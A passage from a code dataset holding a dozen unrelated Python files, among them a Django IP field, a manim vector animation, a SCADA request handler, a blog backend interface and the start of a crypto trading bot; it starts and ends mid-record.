push our files\")\n sp.run(\"git branch -M main\")\n speak(\"Please enter your repository u r l where you want to upload these files\")\n url=input(\"Enter the repository url: \")\n rmto=\"git remote add origin\"+\" \"+url\n sp.run(rmto)\n sp.run(\"git push -u origin main\")\n speak(\"hey user you are good to go all files are uploaded\")\n\nmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n \n \n \n\n \n \n\n\n \n \n \n \n \n\n \n\n \n \n\n\n\n\n","sub_path":"Git.py","file_name":"Git.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"621657371","text":"from django.forms import CharField\nfrom django.core import validators\nfrom django.utils.ipv6 import clean_ipv6_address\n\nfrom .validators import ip_network_validators\n\n\nclass GenericIPNetworkField(CharField):\n default_error_messages = {}\n\n def __init__(self, protocol='both', unpack_ipv4=False, *args, **kwargs):\n self.unpack_ipv4 = unpack_ipv4\n self.default_validators, invalid_error_message = \\\n ip_network_validators(protocol, unpack_ipv4)\n self.default_error_messages['invalid'] = invalid_error_message\n super(GenericIPNetworkField, self).__init__(*args, **kwargs)\n\n def to_python(self, value):\n if value in validators.EMPTY_VALUES:\n return ''\n if value:\n if ':' in value:\n if '/' in value:\n [addr,mask] = value.rsplit('/', 1)\n else:\n addr=value\n mask='128'\n addr=clean_ipv6_address(addr,\n self.unpack_ipv4, self.error_messages['invalid'])\n else:\n if '/' in value:\n [addr,mask] = value.rsplit('/',1)\n else:\n addr=value\n mask='32'\n value=\"%s/%s\"%(addr,mask)\n return value\n","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"588440267","text":"# The isBadVersion API is already defined for you.\n# @param version, an integer\n# @return an integer\n# def isBadVersion(version):\n\nclass Solution:\n def firstBadVersion(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n invariant: l <= r and 1st Bad in mustbe(l, r)\n \"\"\"\n l = 1\n r = n\n while l < r: # change invariant\n old_range = r - l\n m = l + ((r - l) // 2) # avoid over flow\n assert l <= m <= r, \" l <= m <= r\"\n if isBadVersion(m):\n r = m\n else:\n l = m + 1\n new_range = r - l\n print(f'old_range:{old_range}, new_range:{new_range}')\n assert new_range < old_range, \"new range < old range\"\n assert l == r, \"l == r\"\n return r\n\n def firstBadVersion_v1(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n l = 1\n h = n\n while l <= h:\n m = (l + h) // 2\n if isBadVersion(m):\n h = m - 1\n else:\n l = m + 1\n assert h < l\n return l\n \n","sub_path":"278-easy-Bad-Version-2021-12-31/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"267121858","text":"from manimlib.imports import *\n\nclass IllustrationScene(GraphScene):\n\n CONFIG = {\n \"x_min\": -3,\n \"x_max\": 5,\n \"x_axis_width\": 8,\n \"y_min\": -3,\n \"y_max\": 4,\n \"y_axis_height\": 7,\n \"graph_origin\": 1*DOWN + 2*LEFT,\n }\n\n def get_circle(self, a, b, r, **kwargs):\n return ParametricFunction(lambda t: (a+r*np.cos(t))*RIGHT+(b + r*np.sin(t))*UP+self.CONFIG['graph_origin'], t_min=-PI, t_max=PI)\n\n def get_vec(self, x, y):\n return Vector().put_start_and_end_on(self.CONFIG[\"graph_origin\"], x*RIGHT+y*UP+self.CONFIG[\"graph_origin\"])\n\n def get_vec2(self, x, y, start):\n return Vector().put_start_and_end_on(start, x*RIGHT+y*UP+start)\n\n def construct(self):\n text = TexMobject(r\"|\\vec{a}|=1\",r\",|\\vec{b}|=2,\",r\"|\\vec{a}+\\vec{b}|-|\\vec{a}-\\vec{b}|\\in ?\")\n text.shift(UP*3)\n self.play(\n Write(text),\n runtime=1,\n )\n self.wait(1.2)\n self.play(\n FadeOut(text),\n )\n self.wait(1.2)\n\n pi = math.pi\n self.theta = pi/3\n self.theta0 = pi/2\n t0 = ValueTracker(self.theta)\n t1 = ValueTracker(self.theta0)\n axes = self.setup_axes(animate=True)\n vec_a = self.get_vec(math.cos(self.theta0), math.sin(self.theta0)).set_color(BLUE)\n label_a = TexMobject(r\"|\\vec{a}|\")\\\n .add_updater(lambda a: a.become(TexMobject(r\"|\\vec{a}|\").next_to(vec_a, RIGHT)))\n self.play(\n FadeIn(vec_a),\n FadeIn(label_a),\n )\n self.wait(1.2)\n vec_b = self.get_vec(2*math.cos(self.theta), 2*math.sin(self.theta)).set_color(RED_B)\n label_b = TexMobject(r\"|\\vec{b}|\")\\\n .add_updater(lambda a: a.become(TexMobject(r\"|\\vec{b}|\").next_to(vec_b, RIGHT)))\n self.play(\n FadeIn(vec_b),\n FadeIn(label_b),\n )\n self.wait(1.2)\n vec_a.add_updater(lambda x: x.become(self.get_vec(math.cos(t1.get_value()), math.sin(t1.get_value())).set_color(BLUE)))\n vec_b.add_updater(lambda x: x.become(self.get_vec(2*math.cos(t0.get_value()), 2*math.sin(t0.get_value())).set_color(RED_B)))\n self.wait(1.2)\n self.play(t0.increment_value, pi/3, run_time=2)\n self.wait(1.2)\n self.play(t1.increment_value, -pi/3, run_time=2)\n self.wait(1.2)\n self.play(t0.increment_value, -pi/2, run_time=2)\n text1 = TextMobject(\"其实只要固定一个向量,让另一个旋转,就能得到所有情况\").to_edge(UP)\n self.wait(1.2)\n self.play(FadeIn(text1))\n text2 = TextMobject(r\"所以我们把$|\\vec{a}|$向量固定在$(0,1)$处,让$|\\vec{b}|$旋转\").to_edge(UP)\n self.wait(1.2)\n self.play(Transform(text1, text2))\n self.wait(1.2)\n self.play(t1.increment_value, -pi/6, run_time=0.5)\n text3 = TextMobject(r\"把$|\\vec{b}|$的起点移动到$|\\vec{a}|$的末端\").to_edge(UP)\n self.wait(1.2)\n self.play(Transform(text1, text3))\n vec_b.remove_updater(lambda x: x.become(self.get_vec(2*math.cos(t0.get_value()), 2*math.sin(t0.get_value())).set_color(RED_B)))\n vec_b_ = self.get_vec2(2 * math.cos(t0.get_value()), 2 * math.sin(t0.get_value()), self.CONFIG[\"graph_origin\"]+RIGHT).set_color(RED_B)\n self.wait(1.2)\n self.play(ReplacementTransform(vec_b, vec_b_))\n vec_b_.add_updater(lambda x: x.become(self.get_vec2(2 * math.cos(t0.get_value()), 2 * math.sin(t0.get_value()), self.CONFIG[\"graph_origin\"]+RIGHT).set_color(RED_B)))\n label_b.remove_updater(lambda a: a.become(TexMobject(r\"|\\vec{b}|\").next_to(vec_b, RIGHT)))\n label_b.add_updater(lambda a: a.become(TexMobject(r\"|\\vec{b}|\").next_to(vec_b_, RIGHT)))\n self.wait(1.2)\n self.play(t0.increment_value, -pi/2, run_time=1)\n self.wait(1.2)\n self.play(t0.increment_value, pi/4, run_time=1)\n self.wait(1.2)\n self.play(t0.increment_value, pi/6, run_time=1)\n text4 = TextMobject(r\"显而易见,$|\\vec{b}|$会画出一个圆\").to_edge(UP)\n self.wait(1.2)\n self.play(Transform(text1, text4))\n circle = self.get_circle(1, 0, 2)\n self.wait(1.2)\n self.play(Write(circle))\n vec_a.remove_updater(lambda x: x.become(self.get_vec(math.cos(t1.get_value()), math.sin(t1.get_value())).set_color(BLUE)))\n self.wait(1.2)\n self.play(vec_a.set_opacity, 0.5)\n vec_a_ = self.get_vec2(math.cos(0), math.sin(0), self.CONFIG[\"graph_origin\"]+RIGHT).set_color(BLUE)\n label_a.remove_updater(lambda a: a.become(TexMobject(r\"|\\vec{a}|\").next_to(vec_a, RIGHT)))\n label_a.add_updater(lambda a: a.become(TexMobject(r\"|\\vec{a}|\").next_to(vec_a_, RIGHT)))\n self.wait(1.2)\n self.play(FadeInFromPoint(vec_a_,point=Point(location=self.CONFIG[\"graph_origin\"]+RIGHT)))\n text5 = TextMobject(r'把$\\vec{a}$向右平移至$\\vec{b}$起点处,可以找到$\\vec{a}-\\vec{b}$').to_edge(UP)\n self.wait(1.2)\n self.play(Transform(text1, text5))\n l1 = Line(self.CONFIG[\"graph_origin\"],self.CONFIG[\"graph_origin\"]+2 * math.cos(t0.get_value())*RIGHT+2 * math.sin(t0.get_value())*UP+RIGHT, color=PURPLE_B)\\\n .add_updater(\n lambda x: x.become(Line(self.CONFIG[\"graph_origin\"], self.CONFIG[\"graph_origin\"]+2 * math.cos(t0.get_value())*RIGHT+2 * math.sin(t0.get_value())*UP+RIGHT, color=PURPLE_B))\n )\n\n ll1 = TexMobject(r'A').next_to(Point(location=self.CONFIG[\"graph_origin\"]+RIGHT*2), direction=UP)\n o = TexMobject(r'O').next_to(Point(location=self.CONFIG[\"graph_origin\"]), direction=UP)\n self.wait(1.2)\n self.play(\n FadeIn(l1),FadeIn(ll1),FadeIn(o)\n )\n\n l2 = Line(self.CONFIG[\"graph_origin\"]+2*RIGHT,self.CONFIG[\"graph_origin\"]+2 * math.cos(t0.get_value())*RIGHT+2 * math.sin(t0.get_value())*UP+RIGHT, color=GREEN_B)\\\n .add_updater(\n lambda x: x.become(Line(self.CONFIG[\"graph_origin\"]+2*RIGHT, self.CONFIG[\"graph_origin\"]+2 * math.cos(t0.get_value())*RIGHT+2 * math.sin(t0.get_value())*UP+RIGHT, color=GREEN_B))\n )\n ll2 = TexMobject(r'B').move_to(self.CONFIG[\"graph_origin\"]+2 * math.cos(t0.get_value())*RIGHT+2 * math.sin(t0.get_value())*UP+RIGHT*1.5)\n ll2.add_updater(lambda x: x.become(TexMobject(r'B').move_to(self.CONFIG[\"graph_origin\"]+2 * math.cos(t0.get_value())*RIGHT+2 * math.sin(t0.get_value())*UP+RIGHT*1.5)))\n self.wait(1.2)\n self.play(FadeIn(l2),FadeIn(ll2))\n\n self.wait(1.2)\n self.play(t0.increment_value, pi/6)\n self.wait(1.2)\n self.play(t0.increment_value, -pi/2)\n self.wait(1.2)\n self.play(t0.increment_value, -pi/3)\n\n text6 = TextMobject(r'显然,$|\\vec{a}+\\vec{b}|=|OA|,|\\vec{a}-\\vec{b}|=|AB|$').to_edge(UP)\n self.wait(1.2)\n self.play(Transform(text1,text6))\n\n self.wait(1.2)\n self.play(t0.set_value, 0)\n text7 = TextMobject(r'此时,取得最大值$2$')\n text8 = TextMobject(r'此时,取得最小值$-2$')\n self.wait(1.2)\n self.play(Write(text7))\n self.wait(1.2)\n self.play(t0.increment_value, pi)\n self.wait(1.2)\n self.play(Transform(text7, text8))\n self.wait(1.2)","sub_path":"vectors.py","file_name":"vectors.py","file_ext":"py","file_size_in_byte":7317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"653591676","text":"\"\"\"\n根据持仓来判断基金的申万行业风格\n股票仓位80%以上,前十大行业仓位90%以上\n\"\"\"\n\nimport datetime\nimport pandas as pd\n\nfrom django.db import transaction\nfrom proc import models\n\n\ndef target_funds(level=0.8):\n \"\"\"最新一期股票仓位80%以上的基金\"\"\"\n funds = models.Asset.objects.exclude(stock=0).values('secucode', 'date', 'stock').order_by('-date')\n funds = pd.DataFrame(funds)\n begin = datetime.date.today() - datetime.timedelta(days=365)\n rpt = models.TradingDate.objects.filter(date__gte=begin, ifquarterend=1).values('date')\n rpt = [x['date'] for x in rpt]\n funds = funds[funds['date'].isin(rpt)]\n funds = funds.drop_duplicates('secucode', keep='first')\n funds = funds[funds['stock'] >= level]\n return list(funds.secucode)\n\n\ndef fund_etf(fund: str):\n \"\"\"获取指定基金关联的etf基金\"\"\"\n funds = models.FundAssociate.objects.filter(secucode=fund, define=24).values('relate')\n funds = [x['relate'] for x in funds]\n return funds\n\n\ndef fund_industry_data(funds):\n \"\"\"基金行业数据\"\"\"\n stocks = models.StockSW.objects.values('secucode', 'first')\n stocks = pd.DataFrame(stocks).rename(columns={'secucode': 'stockcode'})\n data = models.FundHoldingKeyStockNew.objects.filter(\n secucode__in=funds).values('secucode', 'stockcode', 'ratio', 'date')\n data = pd.DataFrame(data).sort_values(['secucode', 'date'], ascending=[True, False])\n ret = []\n for _, g in data.groupby('secucode'):\n md = g.date.max()\n g = g[g.date == md]\n ret.append(g)\n data = pd.concat(ret)\n data = data.merge(stocks, on='stockcode', how='left')\n return data\n\n\ndef fund_industry():\n funds = target_funds()\n data = fund_industry_data(funds)\n data['first'] = data['first'].fillna('港股')\n ret = []\n for secucode, group in data.groupby('secucode'):\n ind = group.groupby('first')['ratio'].sum().sort_values()\n if ind.empty:\n continue\n last = ind.iloc[-1] / ind.sum()\n if last >= 0.9:\n ret.append((secucode, ind.index[-1]))\n etfs = fund_etf(secucode)\n for etf in etfs:\n ret.append((etf, ind.index[-1]))\n return ret\n\n\n@transaction.atomic()\ndef update_fund_industry():\n \"\"\"采用更新方式\"\"\"\n data = fund_industry()\n funds = models.FundNew.objects.all()\n funds = {x.secucode: x for x in funds}\n exist = models.ClassifyIndustry.objects.all()\n exist = {x.secucode.secucode: x for x in exist}\n add = []\n delete = []\n for secucode, ind in data:\n instance = funds.get(secucode)\n if not instance:\n continue\n if secucode in exist:\n e = exist.get(secucode)\n if ind != e.industry:\n delete.append(e)\n add.append(models.ClassifyIndustry(secucode=instance, industry=ind))\n else:\n add.append(models.ClassifyIndustry(secucode=instance, industry=ind))\n for x in delete:\n x.delete()\n models.ClassifyIndustry.objects.bulk_create(add)\n\n\nif __name__ == '__main__':\n update_fund_industry()\n","sub_path":"proc/preprocess/industry_style.py","file_name":"industry_style.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"244546275","text":"# -*- encoding:ascii -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 6\n_modified_time = 1400717744.204384\n_template_filename='templates/webapps/galaxy/page/select_items_grid_async.mako'\n_template_uri='/page/select_items_grid_async.mako'\n_template_cache=cache.Cache(__name__, _modified_time)\n_source_encoding='ascii'\n_exports = []\n\n\ndef _mako_get_namespace(context, name):\n try:\n return context.namespaces[(__name__, name)]\n except KeyError:\n _mako_generate_namespaces(context)\n return context.namespaces[(__name__, name)]\ndef _mako_generate_namespaces(context):\n # SOURCE LINE 1\n ns = runtime.TemplateNamespace('__anon_0x2b0ce82e3950', context._clean_inheritance_tokens(), templateuri=u'../grid_base.mako', callables=None, calling_uri=_template_uri)\n context.namespaces[(__name__, '__anon_0x2b0ce82e3950')] = ns\n\n # SOURCE LINE 2\n ns = runtime.TemplateNamespace('__anon_0x2b0ce82e36d0', context._clean_inheritance_tokens(), templateuri=u'/display_common.mako', callables=None, calling_uri=_template_uri)\n context.namespaces[(__name__, '__anon_0x2b0ce82e36d0')] = ns\n\ndef render_body(context,**pageargs):\n context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(pageargs=pageargs)\n _import_ns = {}\n _mako_get_namespace(context, '__anon_0x2b0ce82e3950')._populate(_import_ns, [u'*'])\n _mako_get_namespace(context, '__anon_0x2b0ce82e36d0')._populate(_import_ns, [u'render_message'])\n status = _import_ns.get('status', context.get('status', UNDEFINED))\n num_pages = _import_ns.get('num_pages', context.get('num_pages', UNDEFINED))\n render_message = _import_ns.get('render_message', context.get('render_message', UNDEFINED))\n render_grid_table_body_contents = _import_ns.get('render_grid_table_body_contents', context.get('render_grid_table_body_contents', UNDEFINED))\n grid = _import_ns.get('grid', context.get('grid', UNDEFINED))\n show_item_checkboxes = _import_ns.get('show_item_checkboxes', context.get('show_item_checkboxes', UNDEFINED))\n message = _import_ns.get('message', context.get('message', UNDEFINED))\n __M_writer = context.writer()\n # SOURCE LINE 1\n __M_writer(u'\\n')\n # SOURCE LINE 2\n __M_writer(u'\\n\\n')\n # SOURCE LINE 5\n __M_writer(unicode(render_grid_table_body_contents( grid, show_item_checkboxes=show_item_checkboxes )))\n __M_writer(u'\\n*****\\n')\n # SOURCE LINE 7\n __M_writer(unicode(num_pages))\n __M_writer(u'\\n*****\\n')\n # SOURCE LINE 9\n __M_writer(unicode(render_message( message, status )))\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n","sub_path":"galaxy-dist/database/compiled_templates/page/select_items_grid_async.mako.py","file_name":"select_items_grid_async.mako.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"105856390","text":"from random import sample\r\n\r\nalu1 = str(input(\"Primeiro aluno: \"))\r\nalu2 = str(input(\"Segundo aluno: \"))\r\nalu3 = str(input(\"Terceiro aluno: \"))\r\nalu4 = str(input(\"Quarto aluno: \"))\r\n\r\nlista = [alu1,alu2,alu3,alu4]\r\n\r\nprint(\"A ordem de apresentação é:\")\r\nprint(sample(lista, k=4))\r\n","sub_path":"Sorteioapresentação.py","file_name":"Sorteioapresentação.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"560921605","text":"##set up\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n##Do Font-Size (Ex 1A)\n\ndat = pd.read_csv(\"Ex 1B.csv\")\n\n#make the 95% confidence intervals\ndat['diff'] = dat['Upper'].sub(dat['Lower']) #get the length of the bars\ndat['diff2'] = dat['diff'].div(2) #length from line to point\n\n##set up the initial plot\nfig = plt.figure()\nfig.set_size_inches(14,10) #Might need to tweak this\n\nfig.subplots_adjust(hspace = .45) #Controls space between sub plots\n\nfig.suptitle('Highlights', fontsize=30, fontweight = 'bold')\n\n\n##Make the subplots\nax1 = fig.add_subplot(3, 1, 1)\nax2 = fig.add_subplot(3, 1, 2)\nax3 = fig.add_subplot(3, 1, 3)\n\n#Subset by Encoding\nsmall = dat[dat['Encoding'] == 'No_Highlight']\nlarge = dat[dat['Encoding'] == 'Highlight']\ncontrol = dat[dat['Encoding'] == 'Control']\n\n#subset by task\n#small\nj1 = small[small['Task'] == 'JOL']\nr1 = small[small['Task'] == 'Recall']\n\nj2 = large[large['Task'] == 'JOL']\nr2 = large[large['Task'] == 'Recall']\n\nj3 = control[control['Task'] == 'JOL']\nr3 = control[control['Task'] == 'Recall']\n\n#separate out averages and conf interval\nj1_average = j1['Average']\nr1_average = r1['Average']\n\nj1_conf = j1['diff2']\nr1_conf = r1['diff2']\n\nj2_average = j2['Average']\nr2_average = r2['Average']\n\nj2_conf = j2['diff2']\nr2_conf = r2['diff2']\n\nj3_average = j3['Average']\nr3_average = r3['Average']\n\nj3_conf = j3['diff2']\nr3_conf = r3['diff2']\n\nind = np.arange(len(j1_average)) # the x locations for the groups #May need to tweak this\nwidth = 0.35 #bar width #And tweak this\n\n##start making the plots\nrects1 = ax1.bar(ind - width/2, j1_average, width, yerr = j1_conf, capsize = 3, color = 'navy', edgecolor = 'k',\n label ='JOL')\n\nrects2 = ax1.bar(ind + width/2, r1_average, width, yerr = r1_conf, capsize = 3, color = 'dodgerblue', edgecolor = 'k',\n label = 'Recall')\n\n#Make the plot spiffy\nax1.set_title('No-Highlights', fontsize = 18, fontweight = 'bold')\nax1.set_ylabel('Mean % JOL/Recall', fontsize = 16)\nax1.set_xlabel('Direction', fontsize = 16)\nax1.xaxis.labelpad = 0\nax1.set_xticks(ind)\nax1.set_xticklabels(('Backward', 'Forward', 'Symmetrical', 'Unrelated'), fontsize = 14)\nax1.legend(fontsize = 14)\nax1.set_ylim([0,100])\n\n##Large Font\n##start making the plots\nrects3 = ax2.bar(ind - width/2, j2_average, width, yerr = j2_conf, capsize = 3, color = 'navy', edgecolor = 'k',\n label ='JOL')\n\nrects4 = ax2.bar(ind + width/2, r2_average, width, yerr = r2_conf, capsize = 3, color = 'dodgerblue', edgecolor = 'k',\n label = 'Recall')\n\n#Make the plot spiffy\nax2.set_title('Highlights', fontsize = 18, fontweight = 'bold')\nax2.set_ylabel('Mean % JOL/Recall', fontsize = 16)\nax2.set_xlabel('Direction', fontsize = 16)\nax2.xaxis.labelpad = 0\nax2.set_xticks(ind)\nax2.set_xticklabels(('Backward', 'Forward', 'Symmetrical', 'Unrelated'), fontsize = 14)\nax2.legend(fontsize = 14)\nax2.set_ylim([0,100])\n\n##Control\n##start making the plots\nrects5 = ax3.bar(ind - width/2, j3_average, width, yerr = j3_conf, capsize = 3, color = 'navy', edgecolor = 'k',\n label ='JOL')\n\nrects6 = ax3.bar(ind + width/2, r3_average, width, yerr = r3_conf, capsize = 3, color = 'dodgerblue', edgecolor = 'k',\n label = 'Recall')\n\n#Make the plot spiffy\nax3.set_title('Control', fontsize = 18, fontweight = 'bold')\nax3.set_ylabel('Mean % JOL/Recall', fontsize = 16)\nax3.set_xlabel('Direction', fontsize = 16)\nax3.xaxis.labelpad = 0\nax3.set_xticks(ind)\nax3.set_xticklabels(('Backward', 'Forward', 'Symmetrical', 'Unrelated'), fontsize = 14)\nax3.legend(fontsize = 14)\nax3.set_ylim([0,100])\n\n##save figure\nfig.savefig('EX1B_chart_updated.png', dip = 10000)","sub_path":"6 Manuscript/Figures/Ex 1B.py","file_name":"Ex 1B.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"441065198","text":"from typing import List, Optional, Union\n\nfrom numpy.core.multiarray import ndarray\n\nfrom symqv.lib.expressions.qbit import QbitVal\n\n\nclass Gate:\n def __init__(self,\n name: str,\n arguments: List[QbitVal],\n matrix: Optional[ndarray],\n matrix_swapped: ndarray = None,\n mapping=None,\n r_mapping=None,\n parameter=None,\n oracle_value: int = None):\n self.name = name\n self.arguments = arguments\n self.matrix = matrix\n self.matrix_swapped = matrix_swapped\n self.mapping = mapping\n self.r_mapping = r_mapping\n self.parameter = parameter\n self.control_qbits = None\n self.oracle_value = oracle_value\n\n def __pow__(self, power, modulo=None):\n \"\"\"\n Power of gate.\n :param power: power.\n :param modulo: power of modulo (not supported).\n :return: power of gate.\n \"\"\"\n if modulo is not None:\n raise Exception('Power modulo is not supported')\n\n return Gate(f'self.name ** {power}',\n self.arguments,\n self.matrix ** power,\n\n None if self.matrix_swapped is None else self.matrix_swapped ** power)\n\n def __repr__(self):\n if self.oracle_value is None:\n string = self.name\n\n if self.parameter is not None:\n string += f'_{self.parameter}'\n\n if isinstance(self.arguments[0], list):\n string += f'({self.arguments})'\n else:\n string += f'({\", \".join([q.get_identifier() for q in self.arguments])})'\n\n if self.control_qbits is not None:\n string += f'.controlled_by({\", \".join([q.get_identifier() for q in self.control_qbits])})'\n\n return string\n else:\n return f'{self.name}_{self.oracle_value}({\", \".join([q.get_identifier() for q in self.arguments])})'\n\n def controlled_by(self, control_qbits: Union[QbitVal, List[QbitVal]]):\n if isinstance(control_qbits, QbitVal):\n self.control_qbits = [control_qbits]\n else:\n self.control_qbits = control_qbits\n return self\n\n def arity(self):\n return len(self.arguments)\n","sub_path":"symqv/lib/models/gate.py","file_name":"gate.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"413090360","text":"__author__ = 'mcsc'\nfrom Abstract_SCADA import SCADA\nimport socket\nclass phaSCADA(SCADA):\n current_power_source = 'grid'\n def request_fail_message(self, device):\n print(\"Could not send request to {0} device\".format(device))\n reply = \":::Sorry, could not get information from {0} device\".format(device)\n return reply\n\n def form_reply_helper(self,device,option,reply_msg):\n if device == 'power':\n device = option\n if self.current_power_source != 'grid':\n (self.send_request(self.current_power_source,'stop'))\n self.current_power_source = 'grid'\n startmsg = str(self.send_request(device,'start'))\n self.current_power_source = device\n startmsg = startmsg.lower()\n return str(reply_msg).format(startmsg)\n else:\n try:\n data = str(self.send_request(device,option))\n\n except (socket.error,socket.herror,socket.timeout):\n return self.request_fail_message(device)\n\n else:\n data = data.lower()\n if data == 'invalid request':\n return ':::Invalid request'\n else:\n return str(reply_msg).format(data)\n\n def form_reply(self,data):\n\n data = str(data).split(':')\n device = data[0]\n option = data[1]\n\n msg = \"\"\n\n if device == 'oil':\n if option == 'check level':\n msg = \":::Oil level: {0} gallons\"\n elif option == 'run time':\n msg = \":::Estimated Generator Run Time Remaining: {0}\"\n elif option == 'fill' or option == 'status':\n msg = \":::{0}\"\n\n elif device == 'battery':\n if option == 'check life':\n msg = \":::Battery life: {0} percent\"\n elif option == 'run time':\n msg = \":::Estimated Battery Run Time Remaining: {0}\"\n elif option == 'charge' or option == 'status':\n msg = \":::{0}\"\n\n elif device == \"server\":\n if option == 'check temp':\n msg = \":::Server Temperature: {0} degrees\"\n elif option == 'turn on cooling':\n msg = \"{0}\"\n elif option == 'turn off cooling':\n msg = \"{0}\"\n\n elif device == \"power\":\n if option == 'power source':\n msg = \":::Current power source: {0}\"\n elif option == 'grid' or option == 'oil' or option == 'battery':\n msg = '{0}'\n\n else:\n return \":::Invalid request\"\n\n #################################\n\n if msg == \"\":\n return \":::Invalid request\"\n else:\n reply = self.form_reply_helper(device,option,msg)\n return reply\n\n\nphaDevices = {\"oil\":\"192.168.10.99:1100\",\"battery\":\"192.168.10.99:1101\", \"power\":\"192.168.10.99\", \"server\":\"192.168.10.99\"}\nscada = phaSCADA('192.168.10.99',8888, phaDevices)\nscada.open_connection()\n","sub_path":"phaSCADA.py","file_name":"phaSCADA.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"436517371","text":"import api.DAL.blog.blog_select as blog_select\nimport api.DAL.blog.blog_insert as blog_insert\nimport api.DAL.blog.blog_update as blog_update\nfrom werkzeug.utils import secure_filename\nimport api.logs.logger as logger\n\nimport os\nimport json\n\nclass BlogLogicalInterface:\n\n \"\"\"Interface between front end and back. In charge of the creation, retreival (from DAL), and simple preccessing of data\"\"\"\n\n def create_post(self, json_data, image):\n\n \"\"\"Recieves request to add a post to the database with the data in a json format\n The JSON is then pared and sent to the dal\"\"\"\n\n logger.log(\"blog interface\", \"Sanitizing Input\")\n\n title = self.sanitize_string(json_data['title'])\n body = self.sanitize_string(json_data['body'])\n description = self.sanitize_string(json_data['description'])\n\n image_name = self.sanitize_string(secure_filename(image.filename))\n caption = self.sanitize_string(json_data['caption'])\n\n image_path = self._create_realative_image_path(image_name)\n\n logger.log(\"blog interface\", \"Adding Post to Database\")\n blog_post_id = blog_insert.post(title, description, body, image_path, caption)\n\n abs_path = self._create_absolute_image_path(image_path)\n\n logger.log(\"blog interface\", \"Adding Image to Filesystem\")\n image.save(abs_path)\n\n\n def _create_realative_image_path(self, image_name):\n\n '''Generates the images path to be placed in the database'''\n\n return \"headers/{0}\".format(image_name)\n\n\n def _create_absolute_image_path(self, relative_path):\n\n '''Generates absolute image path to save image in the file system'''\n\n return \"{0}/api/images/{1}\".format(os.getcwd(), relative_path)\n\n\n\n def get_headers(self):\n\n \"\"\"Displays all the headers of all blogs stored in the database\n This is the title, the main picture, and the brief desciption\"\"\"\n \n return blog_select.all_post_headers()\n\n\n def retrieve_post(self, index):\n\n '''Retrieves all the content of a single post indicated by the index\n This includes all asociated comments, the body, images, and header'''\n\n logger.log(\"blog interface\", \"Retrieving Post\")\n post = json.loads(blog_select.post(index))\n\n if post[\"image\"] == 'None':\n\n logger.log(\"blog interface\", \"Using Default Image\")\n post[\"image\"] = '/images/default/jazz.jpg'\n\n logger.log(\"blog interface\", \"Retrieving Comments\")\n comments = json.loads(blog_select.comments(index))\n\n logger.log(\"blog interface\", \"Concatinating Comments to Post\")\n post.update(comments)\n \n return json.dumps(post)\n\n\n def add_comment_to_post(self, index, comment, user):\n\n '''Adds a comment to a post indicated by the index. \n The comment is assigned to to the user that requested the addition'''\n\n user_id = user['id']\n logger.log(\"blog interface\", \"Sanitizing Comment\")\n comment = self.sanitize_string(comment)\n logger.log(\"blog interface\", \"Adding Comment to Database\")\n\n return blog_insert.comment(index, comment, user_id)\n\n\n def modify_post(self, index, body):\n\n logger.log(\"blog interface\", \"Sanitizing Body\")\n body = self.sanitize_string(body)\n logger.log(\"blog interface\", \"Adding Body Modification in Database\")\n\n return blog_update.post_body(index, body)\n\n def sanitize_string(self, string):\n\n \"\"\"Sanatizes string so that it can be used in a JSON format\n it add char breaks to \"'s and new lines\"\"\"\n \n string = string.replace('\"', '\\\\\"')\n string = string.replace('\\n', '
')\n return string\n\n ","sub_path":"api/core/blog/logical_interface.py","file_name":"logical_interface.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54197393","text":"import logging\nimport time\n\nimport ccxt\n\nfrom backtesting.backtesting import Backtesting\nfrom backtesting.exchange_simulator import ExchangeSimulator\nfrom config.cst import *\nfrom evaluator.Updaters.symbol_time_frames_updater import SymbolTimeFramesDataUpdaterThread\nfrom evaluator.Util.advanced_manager import AdvancedManager\nfrom evaluator.cryptocurrency_evaluator import CryptocurrencyEvaluator\nfrom evaluator.evaluator_creator import EvaluatorCreator\nfrom evaluator.evaluator_threads_manager import EvaluatorThreadsManager\nfrom evaluator.symbol_evaluator import SymbolEvaluator\nfrom services import ServiceCreator\nfrom tools.notifications import Notification\nfrom tools.performance_analyser import PerformanceAnalyser\nfrom tools.time_frame_manager import TimeFrameManager\nfrom trading import Exchange\nfrom trading.trader.trader import Trader\nfrom trading.trader.trader_simulator import TraderSimulator\n\n\"\"\"Main CryptoBot class:\n- Create all indicators and thread for each cryptocurrencies in config \"\"\"\n\n\nclass CryptoBot:\n \"\"\"\n Constructor :\n - Load configs\n \"\"\"\n\n def __init__(self, config):\n self.start_time = time.time()\n self.config = config\n self.ready = False\n\n # 